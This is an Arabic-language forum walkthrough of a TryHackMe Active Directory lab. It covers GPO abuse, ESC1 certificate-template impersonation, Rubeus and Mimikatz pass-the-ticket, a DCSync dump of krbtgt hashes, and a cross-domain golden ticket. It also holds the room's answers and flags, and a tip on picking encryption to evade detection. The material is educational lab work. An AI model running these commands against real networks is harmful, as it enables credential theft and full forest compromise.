الآن بنقدر نتنقل للـ GPO اللي عنده المستخدم صلاحية لتعديلها (Servers > Management Servers > Management Server Pushes)


1748897756144.webp

بنظغط على زر الفأرة الأيمن على الـ GPO وبنختار Edit هاد راح يفتحلنا نافذة Group Policy Management Editor جديدة

عشان نضيف حسابنا للمجموعات المحلية بنحتاج نتبع الخطوات التالية:

قم بنوسع Computer Configuration بعدها بنوسع Policies بعدها بنوسع Windows Settings بعدها بنوسع Security Settings


1748897830892.webp

بنظغط بزر الفأرة الأيمن على Restricted Groups وبنختار Add Group (إذا كانت مجموعة IT Support موجودة بالفعل، يعني إنه شخص قام بالاستغلال مسبقًا بتقدر إما تحذفها عشان تنشئها من جديد، أو مجرد تتفقدها عشان تشوف كيف تم تكوينها)

بنظغط على Browse بندخل على IT Support وبننقر على Check Names
بعدها على OK مرتين



الفلتر الأول مش مستخدم للفلتر الثاني بدنا نضيف كل من مجموعة Administrators و Remote Desktop Users بالنهاية المفروض يطلع شكله زي هيك:

1748898800294.webp

بمجرد ما نخلص الـ Conf بنظغط على Apply و OK هيك كل اللي علينا هو ننتظر لمدة بسيطه أقصاها 15 دقيقة عشان تطبق الـ GPO بعد هيك حسابنا الأولي اللي خليناه عضو بمجموعة IT Support راح يكون عنده صلاحيات إدارية و RDP على THMSERVER2!


Screenshot 2025-06-03 000352.webp

ما هو الكائن اللي يسمح للمستخدمين بتكوين سياسات ويندوز؟
Group Policy Object
ما هي ميزة AD اللي تسمحلنا بتكوين GPOs لكامل هيكل AD؟
Group Policy Management
ما هو اسم الـ GPO اللي يملكه حساب AD اللي تم اختراقه؟
Management Server Pushes
ما هي قيمة العلم المخزن على THMSERVER2 في مجلد سطح المكتب للإداري (flag4.txt)؟
THM{Exploiting.GPOs.For.Fun.And.Profit}



كيفية استغلال الـ Certificates

هيك عننا وصول لـ THMSERVER2، تقدمنا أكثر برحلتنا لاستغلال الـ AD من خلال استغلال كل أصول المستوى الأول (الخوادم) لكن مرة ثانية وصلنا لطريق مسدود بدون وسائل بسيطة للانتقال للمستوى التالي عشان هيك مرة ثانية راح نحتاج نبحث عن مسارات أكثر

بحث تم إصداره بورقة من
SpecterOps أظهر إنه ممكن استغلال نماذج الشهادات المكونة بشكل خاطئ لتصعيد الصلاحيات والحركة الجانبية إذا بدك تفهم أكثر عن سوء تكوين الشهادات وكيفية التعرف عليها راجع هاي الروم

خدمات شهادات AD
خدمات شهادات هي تنفيذ مايكروسوفت للبنية التحتية للمفاتيح العامة PKI بما إن الـ AD بوفر مستوى من الثقة بالمؤسسة ممكن يستخدم كسلطة شهادات CA لإثبات وتفويض الثقة
الـ AD CS يستخدم لعدة أشياء مثل تشفير أنظمة الملفات إنشاء والتحقق من التوقيعات الرقمية وحتى مصادقة المستخدمين وهاد بخليها طريق واعد النا عشان نستغلها🙃

بما إنه الـ AD CS هي وظيفة مميزة عادة بتشتغل على وحدات تحكم مجال مختارة يعني المستخدمين العاديين ما بقدرو يتفاعلوا مع الخدمة مباشرة
من ناحية ثانية المؤسسات بتكون كبيرة جدًا عشان يكون عند الإداري إمكانية إنشاء وتوزيع كل شهادة يدويًا
هون بتيجي نماذج الشهادات الإداريين للـ AD CS بقدروا ينشئوا عدة نماذج بتسمح لأي مستخدم عنده الصلاحيات المطلوبة يقدر يطلب شهادة بنفسه

هاي النماذج عندها parameters بتحكي مين المستخدم اللي بقدر يطلب الشهادة وشو المطلوب
الـ SpecterOps اكتشفوا إن تركيبات معينة من هاي الـ parameters ممكن تكون سامة جدًا وتُستغل لتصعيد الصلاحيات والوصول الدائم

قبل ما ندخل أعمق باستغلال الشهادات بعض المصطلحات:

الـ PKI: البنية التحتية للمفاتيح العامة ... هو نظام يدير الشهادات وتشفير المفاتيح العامة

الـ AD CS: خدمات شهادات Active Directory هي تنفيذ مايكروسوفت للـ PKI اللي عادةً بتشتغل على وحدات الـ DC (التحكم المجال)
الـ CA: هي PKI اللي بتصدر الشهادات
الـ Certificate Template: مجموعة من الإعدادات والسياسات اللي بتحدد كيف ومتى ممكن تصدر الشهادة من CA

الـ CSR: هي رسالة ترسل للـ CA عشان نطلب شهادة موقعة
الـ EKU: هي object identifiers بتحدد كيف ممكن تستخدم الشهادة المنشأة



البحث عن نماذج شهادات ضعيفة
عشان نلاقي نماذج ضعيفة راح نستخدم أداة ويندوز مدمجة certutil باستخدام وصولنا للـ RDP على THMSERVER2، بنقدر نشغل السكريبت التالي بـ PowerShell عشان نستكشف الشهادات:
Bash:
C:>certutil -Template -v > templates.txt


هاد راح يعطينا مخرجات عن كل النماذج المكونة ممكن كمان نستخدم أداة تدقيق شهادات مثل PSPKIAudit من Ghostpack لكن الطريقة اليدوية بتسمحلنا نتأكد إننا نلاقي كل الـ misconfigured الممكنة
نموذج الشهادة يعتبر معموله config بشكل خاطئ إذا صارت تركيبته من قيم الـ parameters سامة وبتسمح للطالب بإجراء تصعيد صلاحيات بحالتنا بنبحث عن نموذج بالتركيبة السامة التالية شمن الـ parameters :


- Client Authentication : الشهادة ممكن تستخدم لمصادقة العميل
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT: نموذج الشهادة يسمحلنا بتحديد اسم البديل للموضوع (SAN)
- CTPRIVATEKEY_FLAG_EXPORTABLE_KEY: الشهادة راح تكون قابلة للتصدير مع المفتاح الخاص
- Certificate Permissions: عندنا الصلاحيات المطلوبة لاستخدام نموذج الشهادة

إذا كنت مهتم تتعلم أكثر عن الـ config للـ parameters السامة، اقرأ الورقة من SpecterOps. بما إن هدف هاد الشرح هو اكتساب معرفة أوسع بهجمات استغلال AD، راح نشير إن Template[32] هو النموذج الضعيف
بهاد النموذج بنقدر نشوف إنه حساب الجهاز لـ THMSERVER2 بقدر يصدر CSR لنموذج بسمحلنا بتحديد اسم البديل للموضوع SAN وممكن يستخدم لمصادقة العميل
ليش ضعيف بسبب الصلاحيه هاي

Allow Enroll ZA\THMSERVER2$
هيك بتسمحلنا نطلب شهادة النا او نيابه عن اي مستخدم او خدمه وهاد بنسميه
ESC1 (Enterprise PKI Certificate Template Escalation)

وهاد هو المحتوى من ملف الـ templates

كود:
Template[32]:
  TemplatePropCommonName = Web Server Cert Template
  TemplatePropFriendlyName = Web Server Cert Template
  TemplatePropEKUs =
2 ObjectIds:
    1.3.6.1.5.5.7.3.2 Client Authentication
    1.3.6.1.5.5.7.3.1 Server Authentication

  TemplatePropCryptoProviders =
    0: Microsoft RSA SChannel Cryptographic Provider
    1: Microsoft DH SChannel Cryptographic Provider

  TemplatePropMajorRevision = 64 (100)
  TemplatePropDescription = Computer
  TemplatePropSchemaVersion = 2
  TemplatePropMinorRevision = 8
  TemplatePropRASignatureCount = 0
  TemplatePropMinimumKeySize = 800 (2048)
  TemplatePropOID =
    1.3.6.1.4.1.311.21.8.1823699.10350885.1394572.4929479.14975766.202.6863080.14328679 Web Server Cert Template

  TemplatePropV1ApplicationPolicy =
2 ObjectIds:
    1.3.6.1.5.5.7.3.2 Client Authentication
    1.3.6.1.5.5.7.3.1 Server Authentication

  TemplatePropEnrollmentFlags = 1
    CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1

  TemplatePropSubjectNameFlags = 1
    CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1

  TemplatePropPrivateKeyFlags = 1010010 (16842768)
    CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
    CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
    TEMPLATE_SERVER_VER_2003<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 10000 (65536)
    TEMPLATE_CLIENT_VER_XP<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 1000000 (16777216)

  TemplatePropGeneralFlags = 20241 (131649)
    CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
    CT_FLAG_MACHINE_TYPE -- 40 (64)
    CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
    CT_FLAG_IS_MODIFIED -- 20000 (131072)

  TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-500G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;CR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3885271727-2693558621-2658995185-6150)(OA;;CR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;S-1-5-21-3885271727-2693558621-2658995185-6150)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-512)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPRC;;;S-1-5-21-3885271727-2693558621-2658995185-6150)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-512)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-500)(A;;LCRPLORC;;;AU)

    Allow Enroll ZA\THMSERVER2$
    Allow Auto-Enroll ZA\THMSERVER2$
    Allow Enroll TRYHACKME\Domain Admins
    Allow Enroll TRYHACKME\Enterprise Admins
    Allow Read ZA\THMSERVER2$
    Allow Full Control TRYHACKME\Domain Admins
    Allow Full Control TRYHACKME\Enterprise Admins
    Allow Full Control TRYHACKME\Administrator
    Allow Read NT AUTHORITY\Authenticated Users


  TemplatePropExtensions =
4 Extensions:

  Extension[0]:
    1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2f
    Certificate Template Information
        Template=Web Server Cert Template(1.3.6.1.4.1.311.21.8.1823699.10350885.1394572.4929479.14975766.202.6863080.14328679)
        Major Version Number=100
        Minor Version Number=8

  Extension[1]:
    2.5.29.37: Flags = 0, Length = 16
    Enhanced Key Usage
        Client Authentication (1.3.6.1.5.5.7.3.2)
        Server Authentication (1.3.6.1.5.5.7.3.1)

  Extension[2]:
    2.5.29.15: Flags = 1(Critical), Length = 4
    Key Usage
        Digital Signature, Key Encipherment (a0)

  Extension[3]:
    1.3.6.1.4.1.311.21.10: Flags = 0, Length = 1a
    Application Policies
        [1]Application Certificate Policy:
             Policy Identifier=Client Authentication
        [2]Application Certificate Policy:
             Policy Identifier=Server Authentication

  TemplatePropValidityPeriod = 2 Years
  TemplatePropRenewalPeriod = 6 Weeks

استغلال نموذج شهادة
باستخدام وصول RDP على THMSERVER2 الآن راح نطلب شهادتنا إذا كنت بتستخدم Remmina وحفظت تكوين اتصال RDP، تأكد إنك تعطل الـ Restricted admin mode راح نستخدم Microsoft Management Console:

بنظغط على Start -> run
وبنكتب mmc وبنضغط إدخال بعدها على File -> Add/Remove Snap-in..

بنضيف الـ Snap-in للشهادات وبنتأكد اننا نختار Computer Account و Local computer بالمطالبات وبنظغط OK


1748900782820.webp


1748900799984.webp


المفروض الآن نشوف الـ Snap-in للشهادات:


راح نطلب شهادة شخصية:


بنظغط على زر الفأرة الأيمن على Personal واختر All Tasks -> Request New Certificate...

1748900851233.webp

بنظغط على Next مرتين عشان نختار سياسة التسجيل للـ AD راح نشوف إنه عننا نموذج واحد بنقدر نطلبه

1748900879192.webp

لكن أولًا لازم نوفر معلومات إضافية بعدها بنظغط على تحذير More Information

1748936003683.webp

بنغير نوع اسم الموضوع لـ Common Name وبنظغط Add بنغير نوع الاسم البديل للـ User principal name
بنحط الـ UPN للمستخدم اللي بدنا ننتحل شخصيته أفضل لشي يكون حساب DA مثل [email protected] وبنظغط Add

معلوماتنا الإضافية المفروض تكون زي هيك:
بنظغط على Apply بعدها OK بعدين بنختار الشهادة وانظغط على Enroll المفروض نقدر نشوف شهادتنا:


1748936128679.webp

1748936189613.webp



الخطوة الأخيرة هي تصدير شهادتنا مع المفتاح الخاص:

بنظغط بزر الفأرة الأيمن على الشهادة وبنختار All Tasks -> Export...
بنظغط على Next بعدها بنختار Yes, export the private key وبنظغط على Next بعدين بنعين كلمة مرور للشهادة لأنه المفتاح الخاص ما بتصدر بدون كلمة مرور وبعدها بنظغط Next وبنختار مكان لحفظ الشهادة بعدها Next وأخيرًا Finish



انتحال المستخدم من خلال شهادة
الآن بنقدر ننتحل شخصية مستخدم
الان في خطوتين :

1. استخدام الشهادة لطلب تذكرة Kerberos (TGT)
2. تحميل الـ TGT Kerberos بمنصة الاختراق اللي تختارها



1. استخدام الشهادة لطلب تذكرة Kerberos (TGT)
للخطوة الأولى راح نستخدم Rubeus نسخة مجمعة مسبقًا متوفرة بمسار C:\Tools بنفتح الـ cmd وبننتقل للمجلد راح نستخدم الأمر التالي عشان نطلب TGT:

كود:
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>

خلينا نحكي عن الامر:

user/ : هاد بحدد المستخدم اللي راح ننتحل شخصيته و لازم يطابق UPN للشهادة اللي أنشأناها
enctype/ : هذا بحدد نوع التشفير للتذكرة تحديد هذا مهم للتهرب من الكشف لأنه خوارزمية التشفير الافتراضية ضعيفة، وهاد ممكن يسبب تنبيه overpass-the-hash
certificate/ : مسار الشهادة اللي أنشأناها
password/ : كلمة مرور ملف الشهادة
outfile/ : الملف اللي راح يخرج فيه TGT
domain/ : هو FQDN للمجال اللي بنهاجمه حاليًا
dc/ : هو IP لوحدة تحكم المجال اللي بنطلب منها TGT عادةً أفضل اشي تختار DC عندها خدمة CA شغالة

بمجرد ما ننفذ هاد الأمر المفروض نستلم الـ TGT:

1748937462573.webp


الآن بنقدر نستخدم Mimikatz عشان نحمل الـ TGT ونصادق على الـ THMDC:

Bash:
C:\Tools>mimikatz_trunk\x64\mimikatz.exe
Bash:
mimikatz # privilege::debug
Bash:
mimikatz # kerberos::ptt administrator.kirbi
Bash:
mimikatz # exit
Bash:
C:\Tools>dir \THMDC.za.tryhackme.loc\c$

Screenshot 2025-06-03 110107.webp

هيك بكون عننا وصول للبنية التحتية للمستوى الخامس واخترقنا الـ DC بشكل كامل 🔥!
1748938451284.webp
ما الذي ينشئه المستخدم ليطلب من CA شهادة؟
Certificate Signing Request
ما هو اسم تنفيذ مايكروسوفت لـ PKI؟
Active Directory Certificate Services
ما هي قيمة العلم المخزن على THMDC في مجلد سطح المكتب للإداري (flag5.txt)؟
THM{AD.Certificates.Can.Be.Very.Bad}

استغلال الـ Domain Trusts


رغم إننا عننا وصول للبنية التحتية للمستوى الخامس الا انه هاد مش كافي لاننا اخترقنا بس مجال الـ ZA.TRYHACKME.LOC أكيد TRYHACKME عندهم مجالات لمناطق ثانية كمان؟ طيب إذا سيطرنا على Domain الجذر TRYHACKME.LOC راح نكون بوضع بسمحلنا باختراق كل المجالات الفرعية
بهاد الجزء راح نشوف كيف ممكن نستغل "ثقة المجالات" عشان ناخذ السيطرة على الـ Forst بأكملها


ثقة المجالات
زي ما ناقشنا بأول موضوع اللي حكينا فيه عن أساسيات الـ AD الـ Forst هي مجموعة من Tree وحدة أو أكثر داخل شبكة الـ AD
الـ Domain Trusts هي آلية للمستخدمين بالشبكة حتى يحصلوا على وصول لموارد ثانية بالمجال
بمعظم الحالات الـ Trusts بتحدد كيف الـ Domain داخل الـ Forst بتتواصل مع بعضها

ببعض البيئات الـ Trusts ممكن تمتد لـ Domain's خارجية وحتى الـ Forst ببعض الحالات

في نوعين رئيسيين من الـ Trusts اللي ممكن تكون مكونة بين المجالات:

1. اتجاهية ( Directional ): اتجاه الثقة بسري من trusting domain لـ trusted domain
2. انتقالية ( Transitive ) : علاقة الثقة بتتوسع لتشمل domain's موثوقة ثانية غير الـ domain 2 الأصليين


شائع انه يكون في domain جذر أو أب بالـ Forst
بحالتنا الـ TRYHACKME.LOC هو الرئيسي وبتم إنشاء domain's فرعية أو child، مثل ZA.TRYHACKME.LOC أو UK.TRYHACKME.LOC
هاد الـ configuration للـ Forst بسمح بمشاركة الموارد بين الـ ZA و الـ UK

مثلا إذا كان في مستخدم بـ UK محتاج يوصل لـ THMSERVER1 بنقدر نعطي وصول للمستخدم بـ domain الـ ZA
هو فعليا منح للصلاحيات وبشتغل لأنه في Trust ثنائية الاتجاه (bidirectional)
- بين ZA و domain الجذر
- وبين UK و domain الجذر

وهاد بنشئ عننا النوع الثاني من الـ Trust اللي هو transitive بين ZA و UK

زي ما ذكرنا فوق الـ Trust بين parent domain و child domain هي ثنائية الاتجاه هاد السلوك المقصود ويستخدم لمشاركة الموارد من خلال علاقات trusted domain أكبر
لكن كمهاجمين بنقدر كمان نستغل هاي Trust عشان نخترق parent domain إذا اخترقنا الـ child domain



الـ KRBTGT والـ Golden Tickets
الـ KRBTGT هو الحساب المسؤول عن توقيع التذاكر بالـ Active Directory للـ Kerberos الاسم مشتق من Kerberos (KRB) و Ticket Granting Ticket (TGT) بالأساس هاد الحساب بتصرف كحساب خدمة لخدمة الـ Kerberos (KDC) اللي بتتعامل مع كل طلبات Ticket الـ Kerberos هاد الحساب يستخدم لتشفير وتوقيع كل Ticket الـ Kerberos للـ domain

بما إن هاش كلمة المرور مشترك بين كل الـ DC's بقدروا يتحققوا من صحة الـ TGT المستلمة لما المستخدمين يطلبوا وصول للموارد

لو حبّينا نعمل تذاكر TGT مزيّفة (يعني ننتج تذاكر خاصة فينا) بنقدر فعليًا نمنح حالنا وصول كامل على الشبكة وكأنّا الـ
DC نفسه!
هذا الهجوم اسمه
Golden Ticket Attack.

عادةً أي مستخدم بالشبكة لما بده يدخل على خدمة (زي ملف مشترك أو سيرفر) بطلب أول اشيء TGT (تذكرة دخول)
هاي التذكرة بنشئها الـ KDC (Key Distribution Center) الموجود في بالـ Domain Controller
لكن بالـ Golden Ticket Attack إحنا بنتجاوز الـ KDC تمامًا! بنعمل TGT مزيفة بإيدنا وكأنها صادرة من الـ Domain Controller
وبهيك بنقدر نستخدم هاي التذكرة لأي خدمة بالشبكة وكأننا الـ Domain Admin أو أي مستخدم تاني!


شو بنحتاج لنقدر نزور تذكرة TGT؟

1. اسم المجال الكامل (FQDN)
2. الـ SID الخاص بالمجال
3. اسم المستخدم اللي بدنا ننتحل شخصيته
4. الـ Hash لكلمة مرور حساب الـ KRBTGT


الثلاثة الأولى عادةً سهل اننا نطلعهم
الأخير بتطلب نخترق الـ Domain لأن الهاش لكلمة مرور الـ KRBTGT مخزن بس على الـ DC's
بالموضوع السابق اخترقنا الـ DC بشهادة مزورة عشان هيك احنا بوضع بسمحلنا نسترد الهاش لكلمة مرور الـ KRBTGT

راح نستخدم Mimikatz مرة ثانية مع DC Sync عشان نسترد هاش كلمة مرور KRBTGT على THMSERVER2:


Bash:
C:\Tools>mimikatz_trunk\x64\mimikatz.exe

Bash:
mimikatz # privilege::debug

Bash:
mimikatz # lsadump::dcsync /user:za\krbtgt

بطلع معنا هاد كله

كود:
PS C:\tools> .\mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY gentilkiwi ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /user:za\krbtgt
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'za\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

 SAM ACCOUNT

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 4/25/2022 7:18:22 PM
Object Security ID   : S-1-5-21-3885271727-2693558621-2658995185-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 16f9af38fca3ada405386b3b57366082
    ntlm- 0: 16f9af38fca3ada405386b3b57366082
    lm  - 0: 35c7b671efe40860dc078afd2786c902

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4bf7050f5f09f6d59a8699081d9ed432

* Primary:Kerberos-Newer-Keys *
    Default Salt : ZA.TRYHACKME.LOCkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 9b52d4ffae227e50025574e4347783ee4f4f6c01c110b1ad4c715d0c977558ca
      aes128_hmac       (4096) : c893fd72ddf7fe2ee545f52b8368602f
      des_cbc_md5       (4096) : d904d37f8ab6fed6

* Primary:Kerberos *
    Default Salt : ZA.TRYHACKME.LOCkrbtgt
    Credentials
      des_cbc_md5       : d904d37f8ab6fed6

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  59ef8461b2d3808973106d3eae741ca6
    02  e7e04d83662aa1f0e23058bf822db70c
    03  738f9c03bbcfe61e0cc1f617a56ee1ca
    04  59ef8461b2d3808973106d3eae741ca6
    05  e7e04d83662aa1f0e23058bf822db70c
    06  cf5bf42182aaaa694a6ca51ab2346e97
    07  59ef8461b2d3808973106d3eae741ca6
    08  7943328089ebb9cd6856cb93e1c8e5eb
    09  7943328089ebb9cd6856cb93e1c8e5eb
    10  703d09859f5291a805f35efce9b2de4d
    11  7ec84ffce154f8c3576c5ccfe270e306
    12  7943328089ebb9cd6856cb93e1c8e5eb
    13  09fcdbe4d28a7e845c4f7df0f5b942aa
    14  7ec84ffce154f8c3576c5ccfe270e306
    15  9f5d5af22548a18694bb8886e2f6a0eb
    16  9f5d5af22548a18694bb8886e2f6a0eb
    17  8d0eff223c176f71093f9d03f8a307df
    18  f5d27cfa462b19d062670445682aef8c
    19  3329d0412509cfe735c064d303dd05dc
    20  7b5fb40e95c2fb16b5b92843158e83af
    21  17a9bb9485f780cbe33945fc581532a2
    22  17a9bb9485f780cbe33945fc581532a2
    23  340490cea65bf6b5927cdf51444ef524
    24  14fbfe8a903667e4901113f484711a62
    25  14fbfe8a903667e4901113f484711a62
    26  f67574e138db44d188d1e11b1f92a9d5
    27  fd72b74747a58338ccfe1bd6d3527445
    28  f9b2e0e39df0a0cbeffa119c03a87b9b
    29  33a0a6986ba90410cbe8b5751a982393


mimikatz #

وهاد هو الهاش اللي بدنا اياه ( بنلاقيه عند الـ Credentials)
16f9af38fca3ada405386b3b57366082


TGTs بين المجالات
باستخدام الهاش لكلمة مرور الـ KRBTGT بنقدر نزوِّر تذكرة ذهبية عشان ندخل على أي ريسورس باي child domain
الـ TGTs بين المجالات بنستخدمها عشان نوفر وصول لـ resources بـ domain's ثانية
بحالتنا بدنا نستغل علاقة الـ Trust ثنائية الاتجاه بين parent domain ودومين الـ child domain عشان نحصل على وصول كامل لـ parent domain

بهجوم Golden Ticket ممكن نضيف صلاحيات إضافية للحساب المزور عن طريق تضمين الـ SIDs لحسابات أو مجموعات من domain's ثانية داخل التذكرة

أداة Mimikatz بتساعدنا بهالشي من خلال تعديل جزء اسمه ExtraSids داخل تذكرة الـTGT
هذا الجزء بسمح بربط الحساب المزور بمجموعات خارج مجاله الأصلي وبعطيه صلاحيات أكبر أو وصول لأماكن ما بوصلها عادة


المفتاح هون إننا راح نستغل الثقة اللي عند child domain مع الـ parent domain من خلال إضافة SID لمجموعة إداريي المؤسسة (EA) كـ SID إضافي لتذكرتنا المزورة للـ child DC
الـ EA group تنتمي للـ parent domain واذا كنت بهاي المجموعة بتعطي صلاحيات إدارية على الـ Forst بأكملها!
الـ SID الافتراضي لهاي المجموعة هو S-1-5-21-<RootDomain>-519

قبل ما ندخل في الاستغلال، أولًا نحتاج نسترد SIDين:

الـ SID لوحدة تحكم المجال الفرعي (THMDC) اللي راح ننتحل شخصيته بالـ TGT المزور
الـ SID لإداريي المؤسسة بالـ parent domain اللي راح نضيفه كـ SID إضافي لـ TGT المزور


عشان نسترد هاي الـ SIDs بنقدر نستخدم AD-RSAT PowerShell cmdlets

بنقدر نسترد الـ SID للـ child DC باستخدام الأمر التالي:

Bash:
PS C:> Get-ADComputer -Identity "THMDC"


1748959865734.webp

S-1-5-21-3885271727-2693558621-2658995185-1001
بنقدر نسترد الـ SID للـ parent DC باستخدام الأمر التالي:
Bash:
PS C:> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

1748960132896.webp

S-1-5-21-3330634377-1326264276-632209373-519


استغلال ثقة المجالات
أخيرًا، عندنا كل المعلومات المطلوبة عشان ننشئ TGT مزور راح نستخدم Mimikatz عشان ننشئ هاي التذكرة الذهبية
الأمر راح يكون زي هيك:



كود:
.\mimikatz_trunk\x64\mimikatz.exe
privilege::debug

kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt

1748960517058.webp

أول اشي بنتحقق اذا هاي التذكرة بتشتغل للوصول للـ THMDC لأنها تذكرة صالحة لمستخدم الإداري للـ child domain:
Bash:
C:>dir \thmdc.za.tryhackme.loc\c$

1748960618498.webp


هيك بنتاكد على الاقل ان التذكرة الذهبية زورناها عشان نوصل للـ DC للـ child domain لكن بما إننا حددنا الـ SIDs إضافية المفروض كمان يكون عنّا وصول للـ DC للـ parent domain:
Bash:
C:>dir \thmrootdc.tryhackme.loc\c$

1748960752573.webp


هاد بثبت إننا اخترقنا الـ parent domain بالكامل بس من خلال اختراق واحد من الـ child domain!

1748960862718.webp

ما هي علاقة ثقة المجال اللي تكون مكونة افتراضيًا بين مجال أب ومجال ابن؟
Bidirectional trust
ما هو اسم حساب AD اللي يستخدمه KDC لتشفير وتوقيع TGTs؟
KRBTGT
ما هو اسم TGT اللي يعطي وصول للموارد خارج مجالنا الحالي؟
Inter-realm TGT
ما هي قيمة العلم المخزن على THMROOTDC في مجلد سطح المكتب للإداري (flag6.txt)؟
THM{Full.EA.Compromise}


1748960925356.webp


وهيك بنكون خلصنا هاد الشرح انتظرونا بشرح قادم قد يكون الموضوع الجاي اخر موضوع وممكن قبل الاخير طبعا وانا بحل بالروم وبشرحها بحطلكم اخر اشي شويه مصادر ممكن تكون كثير حلوه وقويه لل ad وبنفس الوقت انتم كذلك بالتعليقات بنستفيد من خبرات بعض
بحاول باخر كل موضوع اني احط شويه مصادر منيحه

وهي مصدر فخم جدا من عمل KARIM ASHRAF
image

 
التعديل الأخير:

آخر المشاركات

عودة
أعلى